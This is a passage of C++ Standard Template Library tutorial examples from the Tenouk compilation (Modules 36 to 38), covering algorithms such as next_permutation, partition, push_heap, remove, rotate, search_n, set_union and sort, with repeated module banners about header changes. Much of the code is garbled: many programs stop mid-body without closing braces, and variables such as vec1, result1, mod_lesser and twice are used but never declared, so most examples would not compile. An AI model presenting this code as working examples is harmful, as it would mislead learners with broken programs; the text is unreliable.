cout<<"The first mismatch is between "<<*result2.first<<" and "<<*result2.second<<endl;
return 0;
}
-----------------------------------------------------------------------------------------------------
//algorithm, next_permutation()
#include <vector>
#include <deque>
#include <algorithm>
#include <iostream>
using namespace std;
class CInt;
ostream& operator<<(ostream& osIn, const CInt& rhs);
class CInt
{
public:
CInt(int n = 0) : m_nVal(n){}
CInt(const CInt& rhs) : m_nVal(rhs.m_nVal){}
CInt& operator=(const CInt& rhs)
{m_nVal = rhs.m_nVal; return *this;}
bool operator<(const CInt& rhs) const
{return (m_nVal < rhs.m_nVal);}
friend ostream& operator<<(ostream& osIn, const CInt& rhs);
private:
int m_nVal;
};
int main()
{
//Reordering the elements of type CInt in a deque
//using the prev_permutation algorithm
CInt ci1 = 7, ci2 = 5, ci3 = 17;
bool deq1Result;
deque<CInt> deq1, deq2, deq3;
deque<CInt>::iterator deq1Iter;
deq1.push_back(ci1);
deq1.push_back(ci2);
deq1.push_back(ci3);
int i;
for(i = -3; i <= 4; i++)
vec1.push_back(i);
int k = 1;
while (k <= 5)
{
next_permutation(vec1.begin(), vec1.end(), mod_lesser);
cout<<"After another next_permutation() of vector vec1,\nvec1 data: ";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1 ++)
cout<<*Iter1<<" ";
cout<<endl;
k++;
}
return 0;
}
-----------------------------------------------------------------------------------------------------
//algorithm, nth_element()
#include <vector>
#include <algorithm>
//For greater<int>()
#include <functional>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec;
vector <int>::iterator Iter1;
int i;
for(i = 0; i <= 5; i++)
vec.push_back(i);
int j;
for(j = 10; j <= 15; j++)
vec.push_back(j);
int k;
for(k = 20; k <= 25; k++)
vec.push_back(k);
-----------------------------------------------------------------------------------------------------
//algorithm, partial_sort()
#include <vector>
#include <algorithm>
//For greater<int>()
#include <functional>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1;
int j;
for(j = 0; j <= 5; j++)
vec1.push_back(j);
-----------------------------------------------------------------------------------------------------
//algorithm, partial_sort_copy()
#include <vector>
#include <list>
#include <algorithm>
#include <functional>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1, vec2;
list <int> lst;
vector <int>::iterator Iter1, Iter2;
int i;
for(i = 0; i <= 7; i++)
vec1.push_back(i);
random_shuffle(vec1.begin(), vec1.end());
lst.push_back(6);
lst.push_back(5);
lst.push_back(2);
lst.push_back(3);
lst.push_back(4);
lst.push_back(1);
--------------------------------------------------------------------------------------------------------------------
//algorithm, partition()
#include <vector>
#include <algorithm>
#include <iostream>
using namespace std;
//user defined...
bool great(int value)
{return value >3;}
int main()
{
vector <int> vec1, vec2;
vector <int>::iterator Iter1, Iter2;
int i;
for(i = 0; i <= 10; i++)
vec1.push_back(i);
-----------------------------------------------------------------------------------------------------
//algorithm, pop_heap()
#include <vector>
#include <algorithm>
#include <functional>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec;
vector <int>::iterator Iter1, Iter2;
int i;
for(i = 1; i <= 9; i++)
vec.push_back(i);
-----------------------------------------------------------------------------------------------------
//algorithm, prev_permutation()
#include <vector>
#include <deque>
#include <algorithm>
#include <iostream>
class CInt;
ostream& operator<<(ostream& osIn, const CInt& rhs);
class CInt
{
public:
CInt(int n = 0) : m_nVal(n){}
CInt(const CInt& rhs) : m_nVal(rhs.m_nVal){}
CInt& operator=(const CInt& rhs)
{m_nVal = rhs.m_nVal; return *this;}
bool operator<(const CInt& rhs) const
{return (m_nVal < rhs.m_nVal);}
friend ostream& operator<<(ostream& osIn, const CInt& rhs);
private:
int m_nVal;
};
int main()
{
//Reordering the elements of type CInt in a deque
//using the prev_permutation algorithm
CInt ci1 = 10, ci2 = 15, ci3 = 20;
bool deq1Result;
deque<CInt> deq1, deq2, deq3;
deque<CInt>::iterator d1_Iter;
deq1.push_back(ci1);
deq1.push_back(ci2);
deq1.push_back(ci3);
int i;
for(i = -4; i <= 4; i++)
vec.push_back(i);
int j = 1;
while (j <= 5)
{
prev_permutation(vec.begin(), vec.end(), mod_lesser);
cout<<"After another prev_permutation() of vector vec,\nvec data: ";
for(Iter1 = vec.begin(); Iter1 != vec.end(); Iter1 ++)
cout<<*Iter1<<" ";
cout<<endl;
j++;
}
return 0;
}
--------------------------------------G++-----------------------------------------------------
//*******algoiterswap.cpp*******
//algorithm, iter_swap()
#include <vector>
#include <deque>
#include <algorithm>
#include <iostream>
using namespace std;
class CInt;
ostream& operator<<(ostream& osIn, const CInt& rhs);
class CInt
{
public:
CInt(int n = 0) : m_nVal(n){}
CInt(const CInt& rhs) : m_nVal(rhs.m_nVal){}
CInt& operator=(const CInt& rhs)
{ m_nVal = rhs.m_nVal; return *this;}
bool operator<(const CInt& rhs) const
{ return (m_nVal < rhs.m_nVal);}
friend ostream& operator<<(ostream& osIn, const CInt& rhs);
private:
int m_nVal;
};
int main()
{
CInt c1 = 9, c2 = 12, c3 = 17;
deque<CInt> deq;
deque<CInt>::iterator deqIter;
deq.push_back(c1);
deq.push_back(c2);
deq.push_back(c3);
cout<<"\nThe deque of CInts data with first and last\nelements swapped is: ";
for(deqIter = deq.begin(); deqIter != --deq.end(); deqIter++)
cout<<" "<<*deqIter<<",";
deqIter = --deq.end();
cout<<" "<<*deqIter<<endl;
cout<<"\nThe deque of CInts data with first and last\nelements re swapped is: ";
for(deqIter = deq.begin(); deqIter != --deq.end(); deqIter++)
cout<<" "<<*deqIter<<",";
deqIter = --deq.end();
cout<<" "<<*deqIter<<endl;
int i;
for(i = 10; i <= 14; i++)
vec.push_back(i);
int j;
for(j = 16; j <= 20; j++)
deq1.push_back(j);
iter_swap(vec.begin(), deq1.begin());
cout<<"\nAfter exchanging first elements,\nvector vec data is: ";
for(Iter1 = vec.begin(); Iter1 != vec.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl<<"and deque deq1 data is: ";
for(deq1Iter = deq1.begin(); deq1Iter != deq1.end(); deq1Iter++)
cout<<*deq1Iter<<" ";
cout<<endl;
return 0;
}
-------------------------------------------------------------------------------------------------
//******algopartition.cpp*******
//algorithm, partition()
#include <vector>
#include <algorithm>
#include <iostream>
using namespace std;
//user defined...
bool great(int value)
{return value >3;}
int main()
{
vector <int> vec1, vec2;
vector <int>::iterator Iter1, Iter2;
int i;
for(i = 0; i <= 10; i++)
vec1.push_back(i);
============================MODULE36=======================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================
Originally programs compiled using Borland C++. Examples compiled using
g++ are given at the end of every Module. For example if you want to
compile C++ codes using VC++/VC++ .Net, change the header file accordingly.
-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>
...
{
C++ codes...
}
-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
using namespace std;
...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes :o)
=========================================================================
============================HERE, ALL C++ codes==========================
//algorithm, push_heap()
//make_heap()
#include <vector>
#include <algorithm>
#include <functional>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1;
vector <int>::iterator Iter1;
int i;
for(i = 1; i <= 10; i++)
vec1.push_back(i);
random_shuffle(vec1.begin(), vec1.end());
cout<<"\npush_heap()...."<<endl;
push_heap(vec1.begin(), vec1.end());
cout<<"The default reheaped vec1 with data added is:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;
cout<<"\npush_back()..."<<endl;
vec1.push_back(0);
cout<<"The greater than heap vec1 with 13 pushed back is:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;
cout<<"\npush_heap()...."<<endl;
push_heap(vec1.begin(), vec1.end(), greater<int>());
cout<<"The greater than reheaped vec1 with 13 added is:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;
}
-----------------------------------------------------------------------------------
//algorithm, random_shuffle()
#include <vector>
#include <algorithm>
#include <functional>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1;
vector <int>::iterator Iter1;
int i;
for(i = 1; i <= 10; i++)
vec1.push_back(i);
cout<<"The original of vector vec1 data:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;
//random shuffle…
random_shuffle(vec1.begin(), vec1.end());
cout<<"The original of vector vec1 random shuffle data:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;
//Shuffled once
random_shuffle(vec1.begin(), vec1.end());
push_heap(vec1.begin(), vec1.end());
cout<<"Vector vec1 after reshuffle is:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;
//Shuffled again
random_shuffle(vec1.begin(), vec1.end());
push_heap(vec1.begin(), vec1.end());
cout<<"Vector vec1 after another reshuffle is:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;
}
-----------------------------------------------------------------------------------
//algorithm, remove()
#include <vector>
#include <algorithm>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1;
vector <int>::iterator Iter1, new_end;
int i;
for(i = 1; i <= 10; i++)
vec1.push_back(i);
int j;
random_shuffle(vec1.begin(), vec1.end());
cout<<"Vector vec1 random shuffle data is:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;
-----------------------------------------------------------------------------------
//algorithm, remove_copy()
#include <vector>
#include <algorithm>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1, vec2(10);
vector <int>::iterator Iter1, Iter2, new_end;
int i;
for(i = 0; i <= 10; i++)
vec1.push_back(i);
int j;
for(j = 0; j <= 2; j++)
vec1.push_back(5);
random_shuffle(vec1.begin(), vec1.end());
cout<<"The original random shuffle vector vec1 data:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;
-----------------------------------------------------------------------------------
//algorithm, remove_copy_if()
#include <vector>
#include <algorithm>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1, vec2(14);
vector <int>::iterator Iter1, Iter2, new_end;
int i;
for(i = 0; i <= 10; i++)
vec1.push_back(i);
int j;
for(j = 0; j <= 2; j++)
vec1.push_back(5);
random_shuffle(vec1.begin(), vec1.end());
cout<<"The original random shuffle vector vec1 data:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;
-----------------------------------------------------------------------------------
//algorithm, remove_if()
#include <vector>
#include <algorithm>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1;
vector <int>::iterator Iter1, new_end;
int i;
for(i = 0; i <= 9; i++)
vec1.push_back(i);
int j;
for(j = 0; j <= 2; j++)
vec1.push_back(4);
random_shuffle(vec1.begin(), vec1.end());
cout<<"Random shuffle vector vec1 data is:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;
-----------------------------------------------------------------------------------
//algorithm, replace()
#include <vector>
#include <algorithm>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1;
vector <int>::iterator Iter1;
int i;
for(i = 0; i <= 9; i++)
vec1.push_back(i);
int j;
for(j = 0; j <= 2; j++)
vec1.push_back(5);
random_shuffle(vec1.begin(), vec1.end());
cout<<"The original random shuffle vector vec1 data is:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;
-----------------------------------------------------------------------------------
//algorithm, replace_copy()
#include <vector>
#include <list>
#include <algorithm>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1;
list <int> lst1 (15);
vector <int>::iterator Iter1;
list <int>::iterator lstIter;
int i;
for (i = 0; i <= 9; i++)
vec1.push_back(i);
int j;
for (j = 0; j <= 3; j++)
vec1.push_back(7);
random_shuffle(vec1.begin(), vec1.end());
int k;
for (k = 0; k <= 15; k++)
vec1.push_back(1);
cout<<"The original random shuffle vector vec1 with appended data is:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;
cout<<"The list copy lst1 of vec1 with the value 0 replacing the 7 is:\n";
for(lstIter = lst1.begin(); lstIter != lst1.end(); lstIter++)
cout<<*lstIter<<" ";
cout<<endl;
}
-----------------------------------------------------------------------------------
//algorithm, replace_copy_if()
#include <vector>
#include <list>
#include <algorithm>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1;
list <int> lst1 (13);
vector <int>::iterator Iter1;
list <int>::iterator lstIter1;
int i;
for (i = 0; i <= 9; i++)
vec1.push_back(i);
int j;
for (j = 0; j <= 3; j++)
vec1.push_back(7);
random_shuffle(vec1.begin(), vec1.end());
int k;
for(k = 0; k <= 13; k++)
vec1.push_back(3);
cout<<"The original random shuffle vector vec1 data with appended data is:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;
cout<<"A list copy of vector vec1 with the value -8\n replacing "
<<"those greater than 5 is:\n";
for(lstIter1 = lst1.begin(); lstIter1 != lst1.end(); lstIter1++)
cout<<*lstIter1<<" ";
cout<<endl;
}
-----------------------------------------------------------------------------------
//algorithm, replace_if()
#include <vector>
#include <algorithm>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1;
vector <int>::iterator Iter1;
int i;
for (i = 1; i <= 10; i++)
vec1.push_back(i);
int j;
for (j = 0; j <= 2; j++)
vec1.push_back(8);
random_shuffle(vec1.begin(), vec1.end());
cout<<"The original random shuffle vector vec1 data is:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;
-----------------------------------------------------------------------------------
//algorithm, reverse()
#include <vector>
#include <algorithm>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1;
int i;
for(i = 11; i <= 20; i++)
vec1.push_back(i);
-----------------------------------------------------------------------------------
//algorithm, reverse_copy()
#include <vector>
#include <algorithm>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1, vec2(11);
vector <int>::iterator Iter1, Iter2;
int i;
for(i = 10; i <= 20; i++)
vec1.push_back(i);
-----------------------------------------------------------------------------------
//algorithm, rotate()
#include <vector>
#include <deque>
#include <algorithm>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1;
deque <int> deq1;
vector <int>::iterator vec1Iter1;
deque<int>::iterator deq1Iter1;
int i;
for(i = -4; i <= 4; i++)
vec1.push_back(i);
int j;
for(j = -3; j <= 3; j++)
deq1.push_back(j);
//Let rotates...
rotate(vec1.begin(), vec1.begin() + 3, vec1.end());
cout<<"After rotating, vector vec1 data is: ";
for(vec1Iter1 = vec1.begin(); vec1Iter1 != vec1.end(); vec1Iter1++)
cout<<*vec1Iter1<<" ";
cout<<endl;
//Let rotates…
int k = 1;
while(k <= deq1.end() - deq1.begin())
{
rotate(deq1.begin(), deq1.begin() + 1, deq1.end());
cout<<"Rotation of a single deque element to the back,\n deq1 is: ";
for(deq1Iter1 = deq1.begin(); deq1Iter1 != deq1.end(); deq1Iter1++)
cout<<*deq1Iter1<<" ";
cout<<endl;
k++;
}
}
-----------------------------------------------------------------------------------
//algorithm, rotate_copy()
#include <vector>
#include <deque>
#include <algorithm>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1, vec2(9);
deque <int> deq1, deq2(6);
vector <int>::iterator vec1Iter, vec2Iter;
deque<int>::iterator deq1Iter, deq2Iter;
int i;
for(i = -3; i <= 5; i++)
vec1.push_back(i);
int j;
for(j =0; j <= 5; j++)
deq1.push_back(j);
int k = 1;
while(k <= deq1.end() - deq1.begin())
{
rotate_copy(deq1.begin(), deq1.begin() + 1, deq1.end(), deq2.begin());
cout<<"Rotation of a single deque element to the back,\n a deque copy, deq2 is: ";
for(deq2Iter = deq2.begin(); deq2Iter != deq2.end(); deq2Iter++)
cout<<*deq2Iter<<" ";
cout<<endl;
k++;
}
}
-----------------------------------------------------------------------------------
//algorithm, search()
//compiled with some type conversion
//warning…
#include <vector>
#include <list>
#include <algorithm>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1, vec2;
list <int> lst1;
vector <int>::iterator Iter1, Iter2;
list <int>::iterator lst1_Iter, lst1_inIter;
int i;
for(i = 0; i <= 5; i++)
vec1.push_back(5*i);
int j;
for(j = 4; j <= 5; j++)
lst1.push_back(5*j);
int k;
for(k = 2; k <= 4; k++)
vec2.push_back(10*k);
if(result1 == vec1.end())
//Searching vec1 for a match to lst1 under the binary predicate twice
vector <int>::iterator result2;
result2 = search(vec1.begin(), vec1.end(), vec2.begin(), vec2.end(), twice);
if(result2 == vec1.end())
cout<<"\nThere is no match of lst1 in vec1."<<endl;
else
cout<<"\nThere is a sequence of elements in vec1 that "
<<"are equivalent\nto those in vec2 under the binary "
<<"predicate twice\nand the first one begins at position "
<<result2 - vec1.begin()<<endl;
}
-----------------------------------------------------------------------------------
//algorithm, search_n()
//some type conversion warning
#include <vector>
#include <list>
#include <algorithm>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1, vec2;
vector <int>::iterator Iter1;
int i;
for(i = 0; i <= 5; i++)
vec1.push_back(5*i);
if(result1 == vec1.end())
cout<<"\nThere is no match for a sequence (5 5 5) in vec1."<<endl;
else
cout<<"\nThere is at least one match of a sequence (5 5 5)"
<<"\nin vec1 and the first one begins at "
<<"position "<<result1 - vec1.begin()<<endl;
if(result2 == vec1.end())
cout<<"\nThere is no match for a sequence (5 5 5) in vec1"
<<" under the equivalence predicate twice."<<endl;
else
cout<<"\nThere is a match of a sequence (5 5 5) "
<<"under the equivalence\npredicate twice"
<<" in vec1 and the first one begins at "
<<"position "<<result1 - vec1.begin()<<endl;
}
-----------------------------------------------------------------------------------
//algorithm, set_difference()
#include <vector>
#include <algorithm>
//For greater<int>()
#include <functional>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1a, vec1b, vec1(12);
vector <int>::iterator Iter1a, Iter1b, Iter1, Result1;
int j;
for(j =-2; j <= 1; j++)
vec1b.push_back(j);
-----------------------------------------------------------------------------------
//algorithm, set_intersection()
#include <vector>
#include <algorithm>
//For greater<int>()
#include <functional>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1a, vec1b, vec1(12);
vector <int>::iterator Iter1a, Iter1b, Iter1, Result1;
//Constructing vectors vec1a & vec1b with default less than ordering
int i;
for(i = -2; i <= 2; i++)
vec1a.push_back(i);
int j;
for(j = -4; j <= 0; j++)
vec1b.push_back(j);
-------------------------------------G++ on Fedora/Linux----------------------------------------------
//******algorandshuffle.cpp********
//algorithm, random_shuffle()
#include <vector>
#include <algorithm>
#include <functional>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1;
vector <int>::iterator Iter1;
int i;
for(i = 1; i <= 10; i++)
vec1.push_back(i);
cout<<"The original of vector vec1 data:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;
//random shuffle…
random_shuffle(vec1.begin(), vec1.end());
cout<<"The original of vector vec1 random shuffle data:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;
//Shuffled once
random_shuffle(vec1.begin(), vec1.end());
push_heap(vec1.begin(), vec1.end());
cout<<"Vector vec1 after reshuffle is:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;
//Shuffled again
random_shuffle(vec1.begin(), vec1.end());
push_heap(vec1.begin(), vec1.end());
cout<<"Vector vec1 after another reshuffle is:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;
}
-----------------------------------------------------------------------------------
//*******algosearchn.cpp*********
//algorithm, search_n()
//some type conversion warning
#include <vector>
#include <list>
#include <algorithm>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1, vec2;
vector <int>::iterator Iter1;
int i;
for(i = 0; i <= 5; i++)
vec1.push_back(5*i);
if(result1 == vec1.end())
cout<<"\nThere is no match for a sequence (5 5 5) in vec1."<<endl;
else
cout<<"\nThere is at least one match of a sequence (5 5 5)"
<<"\nin vec1 and the first one begins at "
<<"position "<<result1 - vec1.begin()<<endl;
if(result2 == vec1.end())
cout<<"\nThere is no match for a sequence (5 5 5) in vec1"
<<" under the equivalence predicate twice."<<endl;
else
cout<<"\nThere is a match of a sequence (5 5 5) "
<<"under the equivalence\npredicate twice"
<<" in vec1 and the first one begins at "
<<"position "<<result1 - vec1.begin()<<endl;
}
============================MODULE37=======================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================
Originally programs compiled using Borland C++. Examples compiled using
g++ are given at the end of every Module. For example if you want to
compile C++ codes using VC++/VC++ .Net, change the header file accordingly.
Just need some modification for the header files...:
-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>
...
{
C++ codes...
}
-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
using namespace std;
...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
and for standard C/C++ the portability should be no problem or better
you read Module23 at http://www.tenouk.com/Module23.html to get
the big picture...For C codes, they still C codes :o)
=========================================================================
============================HERE, ALL C++ codes==========================
//algorithm, set_symmetric_difference()
#include <vector>
#include <algorithm>
//For greater<int>()
#include <functional>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1a, vec1b, vec1(12);
vector <int>::iterator Iter1a, Iter1b, Iter1, Result1;
int j;
for(j =-3; j <= 3; j++)
vec1b.push_back(j);
------------------------------------------------------------------------------------------------
//algorithm, set_union()
#include <vector>
#include <algorithm>
//For greater<int>()
#include <functional>
#include <iostream>
using namespace std;
int main()
{
vector<int> vec1a, vec1b, vec1(12);
vector<int>::iterator Iter1a, Iter1b, Iter1, Result1;
//Constructing vectors vec1a & vec1b with default less than ordering
int i;
for(i = -3; i <= 3; i++)
vec1a.push_back(i);
int j;
for(j =-3; j <= 3; j++)
vec1b.push_back(j);
------------------------------------------------------------------------------------------------
//algorithm, sort()
#include <vector>
#include <algorithm>
//For greater<int>()
#include <functional>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1; //container
vector <int>::iterator Iter1; //iterator
int k;
for(k = 0; k <= 15; k++)
vec1.push_back(k);
random_shuffle(vec1.begin(), vec1.end());
sort(vec1.begin(), vec1.end());
cout<<"\nSorted vector vec1 data:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;
------------------------------------------------------------------------------------------------
//algorithm, sort_heap()
#include <vector>
#include <algorithm>
#include <functional>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1, vec2;
vector <int>::iterator Iter1, Iter2;
int i;
for(i = 1; i <= 10; i++)
vec1.push_back(i);
random_shuffle(vec1.begin(), vec1.end());
------------------------------------------------------------------------------------------------
//algorithm, stable_partition()
#include <vector>
#include <algorithm>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1, vec2;
vector <int>::iterator Iter1, Iter2, result;
int i;
for(i = 0; i <= 10; i++)
vec1.push_back(i);
int j;
for(j = 0; j <= 4; j++)
vec1.push_back(3);
random_shuffle(vec1.begin(), vec1.end());
------------------------------------------------------------------------------------------------
//algorithm, stable_sort()
#include <vector>
#include <algorithm>
//For greater<int>()
#include <functional>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1;
vector <int>::iterator Iter1;
random_shuffle(vec1.begin(), vec1.end());
cout<<"Random shuffle vector vec1 data:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;
sort(vec1.begin(), vec1.end());
cout<<"\nDefault sorted vector vec1 data:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;
------------------------------------------------------------------------------------------------
//algorithm, swap()
#include <vector>
#include <algorithm>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1, vec2;
int i;
for(i = 10; i<= 20; i++)
vec1.push_back(i);
int j;
for(j = 10; j <= 15; j++)
vec2.push_back(j);
swap(vec1, vec2);
------------------------------------------------------------------------------------------------
//algorithm, swap_ranges()
#include <vector>
#include <deque>
#include <algorithm>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1;
deque <int> deq1;
vector <int>::iterator vec1Iter1;
deque<int>::iterator deq1Iter;
int i;
for(i = 10; i <= 15; i++)
vec1.push_back(i);
int j;
for(j =24; j <= 29; j++)
deq1.push_back(j);
------------------------------------------------------------------------------------------------
//algorithm, transform()
#include <vector>
#include <algorithm>
#include <functional>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1, vec2(7), vec3(7);
vector <int>::iterator Iter1, Iter2, Iter3;
vec1.push_back(i);
------------------------------------------------------------------------------------------------
//algorithm, unique()
#include <vector>
#include <algorithm>
#include <functional>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1;
vector <int>::iterator vec1_Iter1, vec1_Iter2, vec1_Iter3,
vec1_NewEnd1, vec1_NewEnd2, vec1_NewEnd3;
int i;
for(i = 0; i <= 3; i++)
{
vec1.push_back(4);
vec1.push_back(-4);
}
int j;
for(j = 1; j <= 4; j++)
vec1.push_back(8);
vec1.push_back(9);
vec1.push_back(9);
------------------------------------------------------------------------------------------------
//algorithm, unique_copy()
#include <vector>
#include <algorithm>
#include <functional>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1;
vector <int>::iterator vec1_Iter1, vec1_Iter2,
vec1_NewEnd1, vec1_NewEnd2;
int i;
for(i = 0; i <= 1; i++)
{
vec1.push_back(8);
vec1.push_back(-8);
}
int j;
for(j = 0; j <= 2; j++)
vec1.push_back(5);
vec1.push_back(9);
vec1.push_back(9);
int k;
for(k = 0; k <= 5; k++)
vec1.push_back(12);
------------------------------------------------------------------------------------------------
//algorithm, upper_bound()
#include <vector>
#include <algorithm>
//For greater<int>()
#include <functional>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1;
vector <int>::iterator Iter1, Result1;
sort(vec1.begin(), vec1.end());
cout<<"Original vector vec1 data with range\nsorted by the"
<<" binary predicate less than is:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;
cout<<*Iter2<<" ";
cout<<endl;
-------------------------------------G++ on Linux/Fedora----------------------------------------------
//******algosort.cpp*********
//algorithm, sort()
#include <vector>
#include <algorithm>
//For greater<int>()
#include <functional>
#include <iostream>
using namespace std;
int main()
{
vector <int> vec1; //container
vector <int>::iterator Iter1; //iterator
int k;
for(k = 0; k <= 15; k++)
vec1.push_back(k);
random_shuffle(vec1.begin(), vec1.end());
sort(vec1.begin(), vec1.end());
cout<<"\nSorted vector vec1 data:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;
============================MODULE38=======================================
| |
| The program examples' source codes have been arranged in the same |
| order that appeared in the Tutorial. This is unedited and unverified |
| compilation. Published as is basis for educational, reacretional and |
| brain teaser purposes. All trademarks, copyrights and IPs, wherever |
| exist, are the sole property of their respective owner and/or |
| holder. Any damage or loss by using the materials presented in this |
| tutorial is USER responsibility. Part or full distribution, |
| reproduction and modification is granted to any body. |
| Copyright 2003-2005 © Tenouk, Inc. All rights reserved. |
| Distributed through http://www.tenouk.com |
| |
| |
===========================================================================
Originally programs compiled using Borland C++. Examples compiled using
g++ are given at the end of every Module. For example if you want to
compile C++ codes using VC++/VC++ .Net, change the header file accordingly.
Just need some modification for the header files...:
-------------------------------------------------
#include <iostream.h>
//for system()
#include <stdlib.h>
...
{
C++ codes...
}
-------------------------------------------------
should be changed to:
-------------------------------------------------
#include <iostream>
//use C++ wrapper to call C functions from C++ programs...
#include <cstdlib>
using namespace std;
...
{
C++ codes...
}
-------------------------------------------------
In VC++/VC++ .Net the iostream.h (header with .h) is not valid anymore.
It should be C++ header, <iostream> so that it comply to the standard.
In older Borland C++ compiler this still works, but not proper any more...
